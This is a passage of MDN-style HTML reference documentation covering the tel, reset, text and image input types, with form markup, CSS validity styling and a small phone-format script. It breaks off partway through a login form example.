``` <form> <div> <label for="telNo">Enter a telephone number (required): </label> <input id="telNo" name="telNo" type="tel" required /> <span class="validity"></span> </div> <div> <button>Submit</button> </div> </form> ``` And let's include the following CSS to highlight valid entries with a checkmark and invalid entries with a cross: ``` div { margin-bottom: 10px; position: relative; } input[type="number"] { width: 100px; } input + span { padding-right: 30px; } input:invalid + span::after { position: absolute; content: "✖"; padding-left: 5px; color: #8b0000; } input:valid + span::after { position: absolute; content: "✓"; padding-left: 5px; color: #009000; } ``` The output looks like this: ### Pattern validation If you want to further restrict entered numbers so they also have to conform to a specific pattern, you can use the [`pattern`](../input#attr-pattern) attribute, which takes as its value a [regular expression](https://developer.mozilla.org/en-US/docs/Glossary/Regular_expression) that entered values have to match. In this example we'll use the same CSS as before, but our HTML is changed to look like this: ``` <form> <div> <label for="telNo"> Enter a telephone number (in the form xxx-xxx-xxxx): </label> <input id="telNo" name="telNo" type="tel" required pattern="[0-9]{3}-[0-9]{3}-[0-9]{4}" /> <span class="validity"></span> </div> <div> <button>Submit</button> </div> </form> ``` Notice how the entered value is reported as invalid unless the pattern xxx-xxx-xxxx is matched; for instance, 41-323-421 won't be accepted. Neither will 800-MDN-ROCKS. However, 865-555-6502 will be accepted. This particular pattern is obviously only useful for certain locales — in a real application you'd probably have to vary the pattern used depending on the locale of the user. Examples -------- In this example, we present a simple interface with a [`<select>`](../select) element that lets the user choose which country they're in, and a set of `<input type="tel">` elements to let them enter each part of their phone number; there is no reason why you can't have multiple `tel` inputs. Each input has a [`placeholder`](../input#attr-placeholder) attribute to show a hint to sighted users about what to enter into it, a [`pattern`](../input#attr-pattern) to enforce a specific number of characters for the desired section, and an [`aria-label`](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Attributes/aria-label) attribute to contain a hint to be read out to screen reader users about what to enter into it. ``` <form> <div> <label for="country">Choose your country:</label> <select id="country" name="country"> <option>UK</option> <option selected>US</option> <option>Germany</option> </select> </div> <div> <p>Enter your telephone number:</p> <span class="areaDiv"> <input id="areaNo" name="areaNo" type="tel" required placeholder="Area code" pattern="[0-9]{3}" aria-label="Area code" /> <span class="validity"></span> </span> <span class="number1Div"> <input id="number1" name="number1" type="tel" required placeholder="First part" pattern="[0-9]{3}" aria-label="First part of number" /> <span class="validity"></span> </span> <span class="number2Div"> <input id="number2" name="number2" type="tel" required placeholder="Second part" pattern="[0-9]{4}" aria-label="Second part of number" /> <span class="validity"></span> </span> </div> <div> <button>Submit</button> </div> </form> ``` The JavaScript is relatively simple — it contains an [`onchange`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) event handler that, when the `<select>` value is changed, updates the `<input>` element's `pattern`, `placeholder`, and `aria-label` to suit the format of telephone numbers in that country/territory. ``` const selectElem = document.querySelector("select"); const inputElems = document.querySelectorAll("input"); selectElem.onchange = () => { for (let i = 0; i < inputElems.length; i++) { inputElems[i].value = ""; } if (selectElem.value === "US") { inputElems[2].parentNode.style.display = "inline"; inputElems[0].placeholder = "Area code"; inputElems[0].pattern = "[0-9]{3}"; inputElems[1].placeholder = "First part"; inputElems[1].pattern = "[0-9]{3}"; inputElems[1].setAttribute("aria-label","First part of number"); inputElems[2].placeholder = "Second part"; inputElems[2].pattern = "[0-9]{4}"; inputElems[2].setAttribute("aria-label", "Second part of number"); } else if (selectElem.value === "UK") { inputElems[2].parentNode.style.display = "none"; inputElems[0].placeholder = "Area code"; inputElems[0].pattern = "[0-9]{3,6}"; inputElems[1].placeholder = "Local number"; inputElems[1].pattern = "[0-9]{4,8}"; inputElems[1].setAttribute("aria-label", "Local number"); } else if (selectElem.value === "Germany") { inputElems[2].parentNode.style.display = "inline"; inputElems[0].placeholder = "Area code"; inputElems[0].pattern = "[0-9]{3,5}"; inputElems[1].placeholder = "First part"; inputElems[1].pattern = "[0-9]{2,4}"; inputElems[1].setAttribute("aria-label","First part of number"); inputElems[2].placeholder = "Second part"; inputElems[2].pattern = "[0-9]{4}"; inputElems[2].setAttribute("aria-label","Second part of number"); } } ``` The example looks like this: This is an interesting idea, which goes to show a potential solution to the problem of dealing with international phone numbers. You would have to extend the example of course to provide the correct pattern for potentially every country, which would be a lot of work, and there would still be no foolproof guarantee that the users would enter their numbers correctly. It makes you wonder if it is worth going to all this trouble on the client-side, when you could just let the user enter their number in whatever format they wanted on the client-side and then validate and sanitize it on the server. But this choice is yours to make. Specifications -------------- | Specification | | --- | | [HTML Standard # telephone-state-(type=tel)](https://html.spec.whatwg.org/multipage/input.html#telephone-state-(type=tel)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `tel` | 3 The field type doesn't demonstrate any special behavior. | 12 | Yes | 10 | 11 | 4 The field type doesn't demonstrate any special behavior. | ≤37 | 18 | Yes | 11 | 3 | 1.0 | See also -------- * [HTML forms guide](https://developer.mozilla.org/en-US/docs/Learn/Forms) * [Forms and accessibility](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/forms) * [`<input>`](../input) + [`<input type="text">`](text) + [`<input type="email">`](email) * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="reset"> <input type="reset"> ==================== [`<input>`](../input) elements of type `reset` are rendered as buttons, with a default [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) event handler that resets all inputs in the form to their initial values. Try it ------ **Note:** You should usually avoid including reset buttons in your forms. They're rarely useful, and are instead more likely to frustrate users who click them by mistake (often while trying to click the [submit button](submit)). Value ----- An `<input type="reset">` element's [`value`](../input#attr-value) attribute contains a string that is used as the button's label. Buttons such as `reset` don't have a value otherwise. ### Setting the value attribute ``` <input type="reset" value="Reset the form" /> ``` ### Omitting the value attribute If you don't specify a `value`, you get a button with the default label (typically "Reset," but this will vary depending on the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent)): ``` <input type="reset" /> ``` Using reset buttons ------------------- `<input type="reset">` buttons are used to reset forms. If you want to create a custom button and then customize the behavior using JavaScript, you need to use [`<input type="button">`](button), or better still, a [`<button>`](../button) element. ### A simple reset button We'll begin by creating a simple reset button: ``` <form> <div> <label for="example">Type in some sample text</label> <input id="example" type="text" /> </div> <div> <input type="reset" value="Reset the form" /> </div> </form> ``` This renders like so: Try entering some text into the text field, and then pressing the reset button. ### Adding a reset keyboard shortcut To add a keyboard shortcut to a reset button — just as you would with any [`<input>`](../input) for which it makes sense — you use the [`accesskey`](../../global_attributes#accesskey) global attribute. In this example, `r` is specified as the access key (you'll need to press `r` plus the particular modifier keys for your browser/OS combination; see [`accesskey`](../../global_attributes#accesskey) for a useful list of those). ``` <form> <div> <label for="example">Type in some sample text</label> <input id="example" type="text" /> </div> <div> <input type="reset" value="Reset the form" accesskey="r" /> </div> </form> ``` The problem with the above example is that there's no way for the user to know what the access key is! This is especially true since the modifiers are typically non-standard to avoid conflicts. When building a site, be sure to provide this information in a way that doesn't interfere with the site design (for example by providing an easily accessible link that points to information on what the site access keys are). Adding a tooltip to the button (using the [`title`](../../global_attributes#title) attribute) can also help, although it's not a complete solution for accessibility purposes. ### Disabling and enabling a reset button To disable a reset button, specify the [`disabled`](../../global_attributes#disabled) global attribute on it, like so: ``` <input type="reset" value="Disabled" disabled /> ``` You can enable and disable buttons at run time by setting `disabled` to `true` or `false`; in JavaScript this looks like `btn.disabled = true` or `btn.disabled = false`. **Note:** See the [`<input type="button">`](button#disabling_and_enabling_a_button) page for more ideas about enabling and disabling buttons. Validation ---------- Buttons don't participate in constraint validation; they have no real value to be constrained. Examples -------- We've included simple examples above. There isn't really anything more to say about reset buttons. Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string used as the button's label | | **Events** | [`click`](https://developer.mozilla.org/en-US/docs/Web/API/Element/click_event) | | **Supported common attributes** | [`type`](../input#attr-type) and [`value`](../input#attr-value) | | **IDL attributes** | `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | None | Specifications -------------- | Specification | | --- | | [HTML Standard # reset-button-state-(type=reset)](https://html.spec.whatwg.org/multipage/input.html#reset-button-state-(type=reset)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `reset` | 1 | 12 | 1 Unlike other browsers, Firefox by default [persists the dynamic disabled state](https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing) of a `<button>` across page loads. Use the `[autocomplete](https://developer.mozilla.org/docs/Web/HTML/Element/button#attr-autocomplete)` attribute to control this feature. | Yes | Yes | 1 | Yes | Yes | 4 Unlike other browsers, Firefox by default [persists the dynamic disabled state](https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing) of a `<button>` across page loads. Use the `[autocomplete](https://developer.mozilla.org/docs/Web/HTML/Element/button#attr-autocomplete)` attribute to control this feature. | Yes | Yes | Yes | See also -------- * [`<input>`](../input) and the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) interface which implements it. * [Forms and buttons](https://developer.mozilla.org/en-US/docs/Learn/Forms/Basic_native_form_controls#actual_buttons) * [Forms (accessibility)](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/forms) * [HTML forms](https://developer.mozilla.org/en-US/docs/Learn/Forms) * The [`<button>`](../button) element * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls) html <input type="text"> <input type="text"> =================== [`<input>`](../input) elements of type `text` create basic single-line text fields. Try it ------ Value ----- The [`value`](../input#attr-value) attribute is a string that contains the current value of the text entered into the text field. You can retrieve this using the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property in JavaScript. ``` let theText = myTextInput.value; ``` If no validation constraints are in place for the input (see [Validation](#validation) for more details), the value may be an empty string (`""`). Additional attributes --------------------- In addition to the attributes that operate on all [`<input>`](../input) elements regardless of their type, text inputs support the following attributes. ### `list` The values of the list attribute is the [`id`](https://developer.mozilla.org/en-US/docs/Web/API/Element/id) of a [`<datalist>`](../datalist) element located in the same document. The [`<datalist>`](../datalist) provides a list of predefined values to suggest to the user for this input. Any values in the list that are not compatible with the [`type`](../input#attr-type) are not included in the suggested options. The values provided are suggestions, not requirements: users can select from this predefined list or provide a different value. ### `maxlength` The maximum number of characters (as UTF-16 code units) the user can enter into the `text` input. This must be an integer value 0 or higher. If no `maxlength` is specified, or an invalid value is specified, the `text` input has no maximum length. This value must also be greater than or equal to the value of `minlength`. The input will fail [constraint validation](../../constraint_validation) if the length of the text value of the field is greater than `maxlength` UTF-16 code units long. Constraint validation is only applied when the value is changed by the user. ### `minlength` The minimum number of characters (as UTF-16 code units) the user can enter into the `text` input. This must be a non-negative integer value smaller than or equal to the value specified by `maxlength`. If no `minlength` is specified, or an invalid value is specified, the `text` input has no minimum length. The input will fail [constraint validation](../../constraint_validation) if the length of the text entered into the field is fewer than `minlength` UTF-16 code units long. Constraint validation is only applied when the value is changed by the user. ### `pattern` The `pattern` attribute, when specified, is a regular expression that the input's [`value`](../../global_attributes#value) must match in order for the value to pass [constraint validation](../../constraint_validation). It must be a valid JavaScript regular expression, as used by the [`RegExp`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) type, and as documented in our [guide on regular expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions); the `'u'` flag is specified when compiling the regular expression, so that the pattern is treated as a sequence of Unicode code points, instead of as ASCII. No forward slashes should be specified around the pattern text. If the specified pattern is not specified or is invalid, no regular expression is applied and this attribute is ignored completely. **Note:** Use the [`title`](../input#attr-title) attribute to specify text that most browsers will display as a tooltip to explain what the requirements are to match the pattern. You should also include other explanatory text nearby. See [Specifying a pattern](#specifying_a_pattern) for further details and an example. ### `placeholder` The `placeholder` attribute is a string that provides a brief hint to the user as to what kind of information is expected in the field. It should be a word or short phrase that demonstrates the expected type of data, rather than an explanatory message. The text *must not* include carriage returns or line feeds. If the control's content has one directionality ([LTR](https://developer.mozilla.org/en-US/docs/Glossary/LTR) or [RTL](https://developer.mozilla.org/en-US/docs/Glossary/RTL)) but needs to present the placeholder in the opposite directionality, you can use Unicode bidirectional algorithm formatting characters to override directionality within the placeholder; see [How to use Unicode controls for bidi text](https://www.w3.org/International/questions/qa-bidi-unicode-controls) for more information. **Note:** Avoid using the `placeholder` attribute if you can. It is not as semantically useful as other ways to explain your form, and can cause unexpected technical issues with your content. See [Placeholders are not accessible](../input#placeholders_are_not_accessible) in [<input>: The Input (Form Input) element](../input) for more information. ### `readonly` A Boolean attribute which, if present, means this field cannot be edited by the user. Its `value` can, however, still be changed by JavaScript code directly setting the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) `value` property. **Note:** Because a read-only field cannot have a value, `required` does not have any effect on inputs with the `readonly` attribute also specified. ### `size` The `size` attribute is a numeric value indicating how many characters wide the input field should be. The value must be a number greater than zero, and the default value is 20. Since character widths vary, this may or may not be exact and should not be relied upon to be so; the resulting input may be narrower or wider than the specified number of characters, depending on the characters and the font ([`font`](https://developer.mozilla.org/en-US/docs/Web/CSS/font) settings in use). This does *not* set a limit on how many characters the user can enter into the field. It only specifies approximately how many can be seen at a time. To set an upper limit on the length of the input data, use the [`maxlength`](#maxlength) attribute. ### `spellcheck` `spellcheck` is a global attribute which is used to indicate whether to enable spell checking for an element. It can be used on any editable content, but here we consider specifics related to the use of `spellcheck` on [`<input>`](../input) elements. The permitted values for `spellcheck` are: `false` Disable spell checking for this element. `true` Enable spell checking for this element. `""` (empty string) or no value Follow the element's default behavior for spell checking. This may be based upon a parent's `spellcheck` setting or other factors. An input field can have spell checking enabled if it doesn't have the [readonly](#readonly) attribute set and is not disabled. The value returned by reading `spellcheck` may not reflect the actual state of spell checking within a control, if the [user agent's](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) preferences override the setting. Non-standard attributes ----------------------- The following non-standard attributes are also available on some browsers. As a general rule, you should avoid using them unless it can't be helped. ### `autocorrect` A Safari extension, the `autocorrect` attribute is a string which indicates whether to activate automatic correction while the user is editing this field. Permitted values are: `on` Enable automatic correction of typos, as well as processing of text substitutions if any are configured. `off` Disable automatic correction and text substitutions. ### `mozactionhint` A Mozilla extension, which provides a hint as to what sort of action will be taken if the user presses the `Enter` or `Return` key while editing the field. This attribute has been deprecated: use the [`enterkeyhint`](../../global_attributes#enterkeyhint) global attribute instead. Using text inputs ----------------- `<input>` elements of type `text` create basic, single-line inputs. You should use them anywhere you want the user to enter a single-line value and there isn't a more specific input type available for collecting that value (for example, if it's a [date](datetime-local), [URL](url), <email>, or [search term](search), you've got better options available). ### Basic example ``` <form> <div> <label for="uname">Choose a username: </label> <input type="text" id="uname" name="name" /> </div> <div> <button>Submit</button> </div> </form> ``` This renders like so: When submitted, the data name/value pair sent to the server will be `name=Chris` (if "Chris" was entered as the input value before submission). You must remember to include [`name`](../input#attr-name) attribute on the [`<input>`](../input) element, otherwise the text field's value won't be included with the submitted data. ### Setting placeholders You can provide a useful placeholder inside your text input that can provide a hint as to what to enter by including using the [`placeholder`](../input#attr-placeholder) attribute. Look at the following example: ``` <form> <div> <label for="uname">Choose a username: </label> <input type="text" id="uname" name="name" placeholder="Lower case, all one word" /> </div> <div> <button>Submit</button> </div> </form> ``` You can see how the placeholder is rendered below: The placeholder is typically rendered in a lighter color than the element's foreground color, and automatically vanishes when the user begins to enter text into the field (or whenever the field has a value set programmatically by setting its `value` attribute). ### Physical input element size The physical size of the input box can be controlled using the [`size`](../input#attr-size) attribute. With it, you can specify the number of characters the text input can display at a time. This affects the width of the element, letting you specify the width in terms of characters rather than pixels. In this example, for instance, the input is 30 characters wide: ``` <form> <div> <label for="uname">Choose a username: </label> <input type="text" id="uname" name="name" placeholder="Lower case, all one word" size="30" /> </div> <div> <button>Submit</button> </div> </form> ``` Validation ---------- `<input>` elements of type `text` have no automatic validation applied to them (since a basic text input needs to be capable of accepting any arbitrary string), but there are some client-side validation options available, which we'll discuss below. **Note:** HTML form validation is *not* a substitute for server-scripts that ensure the entered data is in the proper format. It's far too easy for someone to make adjustments to the HTML that allow them to bypass the validation, or to remove it entirely. It's also possible for someone to bypass your HTML entirely and submit the data directly to your server. If your server-side code fails to validate the data it receives, disaster could strike when improperly-formatted data (or data which is too large, is of the wrong type, and so forth) is entered into your database. ### A note on styling There are useful pseudo-classes available for styling form elements to help the user see when their values are valid or invalid. These are [`:valid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:valid) and [`:invalid`](https://developer.mozilla.org/en-US/docs/Web/CSS/:invalid). In this section, we'll use the following CSS, which will place a check (tick) mark next to inputs containing valid values, and a cross (X) next to inputs containing invalid values. ``` div { margin-bottom: 10px; position: relative; } input + span { padding-right: 30px; } input:invalid + span::after { position: absolute; content: "✖"; padding-left: 5px; } input:valid + span::after { position: absolute; content: "✓"; padding-left: 5px; } ``` The technique also requires a [`<span>`](../span) element to be placed after the form element, which acts as a holder for the icons. This was necessary because some input types on some browsers don't display icons placed directly after them very well. ### Making input required You can use the [`required`](../input#attr-required) attribute as an easy way of making entering a value required before form submission is allowed: ``` <form> <div> <label for="uname">Choose a username: </label> <input type="text" id="uname" name="name" required /> <span class="validity"></span> </div> <div> <button>Submit</button> </div> </form> ``` This renders like so: If you try to submit the form with no search term entered into it, the browser will show an error message. ### Input value length You can specify a minimum length (in characters) for the entered value using the [`minlength`](../input#attr-minlength) attribute; similarly, use [`maxlength`](../input#attr-maxlength) to set the maximum length of the entered value, in characters. The example below requires that the entered value be 4–8 characters in length. ``` <form> <div> <label for="uname">Choose a username: </label> <input type="text" id="uname" name="name" required size="10" placeholder="Username" minlength="4" maxlength="8" /> <span class="validity"></span> </div> <div> <button>Submit</button> </div> </form> ``` This renders like so: If you try to submit the form with less than 4 characters, you'll be given an appropriate error message (which differs between browsers). If you try to enter more than 8 characters, the browser won't let you. **Note:** If you specify a `minlength` but do not specify `required`, the input is considered valid, since the user is not required to specify a value. ### Specifying a pattern You can use the [`pattern`](../input#attr-pattern) attribute to specify a regular expression that the inputted value must match in order to be considered valid (see [Validating against a regular expression](https://developer.mozilla.org/en-US/docs/Learn/Forms/Form_validation#validating_against_a_regular_expression) for a simple crash course on using regular expressions to validate inputs). The example below restricts the value to 4-8 characters and requires that it contain only lower-case letters. ``` <form> <div> <label for="uname">Choose a username: </label> <input type="text" id="uname" name="name" required size="45" pattern="[a-z]{4,8}" /> <span class="validity"></span> <p>Usernames must be lowercase and 4-8 characters in length.</p> </div> <div> <button>Submit</button> </div> </form> ``` This renders like so: Examples -------- You can see good examples of text inputs used in context in our [Your first HTML form](https://developer.mozilla.org/en-US/docs/Learn/Forms/Your_first_form) and [How to structure an HTML form](https://developer.mozilla.org/en-US/docs/Learn/Forms/How_to_structure_a_web_form) articles. Technical summary ----------------- | | | | --- | --- | | **[Value](#value)** | A string representing the text contained in the text field. | | **Events** | [`change`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/change_event) and [`input`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement/input_event) | | **Supported Common Attributes** | [`autocomplete`](../input#attr-autocomplete), [`list`](../input#attr-list), [`maxlength`](../input#attr-maxlength), [`minlength`](../input#attr-minlength), [`pattern`](../input#attr-pattern), [`placeholder`](../input#attr-placeholder), [`readonly`](../input#attr-readonly), [`required`](../input#attr-required) and [`size`](../input#attr-size) | | **IDL attributes** | [`list`](../input#attr-list), `value` | | **DOM interface** | [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) | | **Methods** | [`select()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/select), [`setRangeText()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setRangeText) and [`setSelectionRange()`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement/setSelectionRange). | Specifications -------------- | Specification | | --- | | [HTML Standard # text-(type=text)-state-and-search-state-(type=search)](https://html.spec.whatwg.org/multipage/input.html#text-(type=text)-state-and-search-state-(type=search)) | Browser compatibility --------------------- | | Desktop | Mobile | | --- | --- | --- | | | Chrome | Edge | Firefox | Internet Explorer | Opera | Safari | WebView Android | Chrome Android | Firefox for Android | Opera Android | Safari on IOS | Samsung Internet | | `text` | 1 | 12 | 1 | Yes | Yes | 1 | Yes | Yes | 4 | Yes | Yes | Yes | See also -------- * [HTML Forms](https://developer.mozilla.org/en-US/docs/Learn/Forms) * [`<input>`](../input) and the [`HTMLInputElement`](https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement) interface it's based upon. * [`<input type="search">`](search) * [`<textarea>`](../textarea): Multi-line text input * [Compatibility of CSS properties](https://developer.mozilla.org/en-US/docs/Learn/Forms/Property_compatibility_table_for_form_controls)
programming_docs
html <input type="image"> <input type="image"> ==================== [`<input>`](../input) elements of type `image` are used to create graphical submit buttons, i.e. submit buttons that take the form of an image rather than text. Try it ------ Value ----- `<input type="image">` elements do not accept `value` attributes. The path to the image to be displayed is specified in the `src` attribute. Additional attributes --------------------- In addition to the attributes shared by all [`<input>`](../input) elements, `image` button inputs support the following attributes. ### alt The `alt` attribute provides an alternate string to use as the button's label if the image cannot be shown (due to error, a [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent) that cannot or is configured not to show images, or if the user is using a screen reading device). If provided, it must be a non-empty string appropriate as a label for the button. For example, if you have a graphical button that shows an image with an icon and/or image text "Login Now", you should also set the `alt` attribute to something like `Login Now`. **Note:** While the `alt` attribute is technically optional, you should always include one to maximize the usability of your content. Functionally, the `alt` attribute of the `<input type="image">` element works just like the [`alt`](../img#attr-alt) attribute on [`<img>`](../img) elements. ### formaction A string indicating the URL to which to submit the data. This takes precedence over the [`action`](../form#attr-action) attribute on the [`<form>`](../form) element that owns the [`<input>`](../input). This attribute is also available on [`<input type="submit">`](submit) and [`<button>`](../button) elements. ### formenctype A string that identifies the encoding method to use when submitting the form data to the server. There are three permitted values: `application/x-www-form-urlencoded` This, the default value, sends the form data as a string after URL encoding the text using an algorithm such as [`encodeURI()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI). `multipart/form-data` Uses the [`FormData`](https://developer.mozilla.org/en-US/docs/Web/API/FormData) API to manage the data, allowing for files to be submitted to the server. You *must* use this encoding type if your form includes any [`<input>`](../input) elements of [`type`](../input#type) `file` ([`<input type="file">`](file)). `text/plain` Plain text; mostly useful only for debugging, so you can easily see the data that's to be submitted. If specified, the value of the `formenctype` attribute overrides the owning form's [`action`](../form#attr-action) attribute. This attribute is also available on [`<input type="submit">`](submit) and [`<button>`](../button) elements. ### formmethod A string indicating the HTTP method to use when submitting the form's data; this value overrides any [`method`](../form#attr-method) attribute given on the owning form. Permitted values are: `get` A URL is constructed by starting with the URL given by the `formaction` or [`action`](../form#attr-action) attribute, appending a question mark ("?") character, then appending the form's data, encoded as described by `formenctype` or the form's [`enctype`](../form#attr-enctype) attribute. This URL is then sent to the server using an HTTP [`get`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET) request. This method works well for simple forms that contain only ASCII characters and have no side effects. This is the default value. `post` The form's data is included in the body of the request that is sent to the URL given by the `formaction` or [`action`](../form#attr-action) attribute using an HTTP [`post`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/POST) request. This method supports complex data and file attachments. `dialog` This method is used to indicate that the button closes the dialog with which the input is associated, and does not transmit the form data at all. This attribute is also available on [`<input type="submit">`](submit) and [`<button>`](../button) elements. ### formnovalidate A Boolean attribute which, if present, specifies that the form should not be validated before submission to the server. This overrides the value of the [`novalidate`](../form#attr-novalidate) attribute on the element's owning form. This attribute is also available on [`<input type="submit">`](submit) and [`<button>`](../button) elements. ### formtarget A string which specifies a name or keyword that indicates where to display the response received after submitting the form. The string must be the name of a **browsing context** (that is, a tab, window, or [`<iframe>`](../iframe). A value specified here overrides any target given by the [`target`](../form#attr-target) attribute on the [`<form>`](../form) that owns this input. In addition to the actual names of tabs, windows, or inline frames, there are a few special keywords that can be used: `_self` Loads the response into the same browsing context as the one that contains the form. This will replace the current document with the received data. This is the default value used if none is specified. `_blank` Loads the response into a new, unnamed, browsing context. This is typically a new tab in the same window as the current document, but may differ depending on the configuration of the [user agent](https://developer.mozilla.org/en-US/docs/Glossary/User_agent). `_parent` Loads the response into the parent browsing context of the current one. If there is no parent context, this behaves the same as `_self`. `_top` Loads the response into the top-level browsing context; this is the browsing context that is the topmost ancestor of the current context. If the current context is the topmost context, this behaves the same as `_self`. This attribute is also available on [`<input type="submit">`](submit) and [`<button>`](../button) elements. ### height A number specifying the height, in CSS pixels, at which to draw the image specified by the `src` attribute. ### src A string specifying the URL of the image file to display to represent the graphical submit button. When the user interacts with the image, the input is handled like any other button input. ### width A number indicating the width at which to draw the image, in CSS pixels. Obsolete attributes ------------------- The following attribute was defined by HTML 4 for `image` inputs, but was not implemented by all browsers and has since been deprecated. ### usemap If `usemap` is specified, it must be the name of an image map element, [`<map>`](../map), that defines an image map to use with the image. This usage is obsolete; you should switch to using the [`<img>`](../img) element when you want to use image maps. Using image inputs ------------------ The `<input type="image">` element is a [replaced element](https://developer.mozilla.org/en-US/docs/Web/CSS/Replaced_element) (an element whose content isn't generated or directly managed by the CSS layer), behaving in much the same way as a regular [`<img>`](../img) element, but with the capabilities of a [submit button](submit). ### Essential image input features Let's look at a basic example that includes all the essential features you'd need to use (These work exactly the same as they do on the `<img>` element.): ``` <input id="image" type="image" width="100" height="30" alt="Login" src="https://raw.githubusercontent.com/mdn/learning-area/master/html/forms/image-type-example/login.png" /> ``` * The [`src`](../input#src) attribute is used to specify the path to the image you want to display in the button. * The [`alt`](../input#alt) attribute provides alt text for the image, so screen reader users can get a better idea of what the button is used for. It will also display if the image can't be shown for any reason (for example if the path is misspelled). If possible, use text which matches the label you'd use if you were using a standard submit button. * The [`width`](../input#width) and [`height`](../input#height) attributes are used to specify the width and height the image should be shown at, in pixels. The button is the same size as the image; if you need the button's hit area to be bigger than the image, you will need to use CSS (e.g. [`padding`](https://developer.mozilla.org/en-US/docs/Web/CSS/padding)). Also, if you specify only one dimension, the other is automatically adjusted so that the image maintains its original aspect ratio. ### Overriding default form behaviors `<input type="image">` elements — like regular [submit buttons](submit) — can accept a number of attributes that override the default form behavior: [**`formaction`**](#attr-formaction) The URI of a program that processes the information submitted by the input element; overrides the [`action`](../form#attr-action) attribute of the element's form owner. [**`formenctype`**](#attr-formenctype) Specifies the type of content that is used to submit the form to the server. Possible values are: * `application/x-www-form-urlencoded`: The default value if the attribute is not specified. * `text/plain`. If this attribute is specified, it overrides the [`enctype`](../form#attr-enctype) attribute of the element's form owner. [**`formmethod`**](#attr-formmethod) Specifies the HTTP method that the browser uses to submit the form. Possible values are: * `post`: The data from the form is included in the body of the form and is sent to the server. * `get`: The data from the form is appended to the `form` attribute URI, with a '?' as a separator, and the resulting URI is sent to the server. Use this method when the form has no side effects and contains only ASCII characters. If specified, this attribute overrides the [`method`](../form#attr-method) attribute of the element's form owner. [**`formnovalidate`**](#attr-formnovalidate) A Boolean attribute specifying that the form is not to be validated when it is submitted. If this attribute is specified, it overrides the [`novalidate`](../form#attr-novalidate) attribute of the element's form owner. [**`formtarget`**](#attr-formtarget) A name or keyword indicating where to display the response that is received after submitting the form. This is a name of, or keyword for, a *browsing context* (for example, tab, window, or inline frame). If this attribute is specified, it overrides the [`target`](../form#attr-target) attribute of the element's form owner. The following keywords have special meanings: * \_`self`: Load the response into the same browsing context as the current one. This value is the default if the attribute is not specified. * `_blank`: Load the response into a new unnamed browsing context. * `_parent`: Load the response into the parent browsing context of the current one. If there is no parent, this option behaves the same way as `_self`. * `_top`: Load the response into the top-level browsing context (that is, the browsing context that is an ancestor of the current one, and has no parent). If there is no parent, this option behaves the same as `_self`. ### Using the x and y data points When you submit a form using a button created with `<input type="image">`, two extra data points are submitted to the server automatically by the browser — `x` and `y`. You can see this in action in our [X Y coordinates example](https://mdn.github.io/learning-area/html/forms/image-type-example/xy-coordinates-example.html). When you click on the image to submit the form, you'll see the data appended to the URL as parameters, for example `?x=52&y=55`. If the image input has a [`name`](../input#name) attribute, then keep in mind that the specified name is prefixed on every attribute, so if the `name` is `position`, then the returned coordinates would be formatted in the URL as `?position.x=52&position.y=55`. This, of course, applies to all other attributes as well. These are the X and Y coordinates of the image that the mouse clicked on to submit the form, where (0,0) is the top-left of the image. These can be used when the position the image was clicked on is significant, for example you might have a map that when clicked, sends the coordinates that were clicked to the server. The server-side code then works out what location was clicked on, and returns information about places nearby. In our above example, we could write server-side code that works out what color was clicked on by the coordinates submitted, and keeps a tally of the favorite colors people voted for. ### Adjusting the image's position and scaling algorithm You can use the [`object-position`](https://developer.mozilla.org/en-US/docs/Web/CSS/object-position) property to adjust the positioning of the image within the `<input>` element's frame, and the [`object-fit`](https://developer.mozilla.org/en-US/docs/Web/CSS/object-fit) property to control how the image's size is adjusted to fit within the frame. This allows you to specify a frame for the image using the `width` and `height` attributes to set aside space in the layout, then adjust where within that space the image is located and how (or if) it is scaled to occupy that space. Examples -------- ### A login form The following example shows the same button as before, but included in the context of a typical login form. #### HTML ``` <form> <p>Login to your account</p> <div> <label for="userId">User ID</label> <input type="text" id="userId" name="userId" /> </div> <div> <label for="pwd">Password</label> <input type="password" id="pwd" name="pwd" /> </div> <div> <input 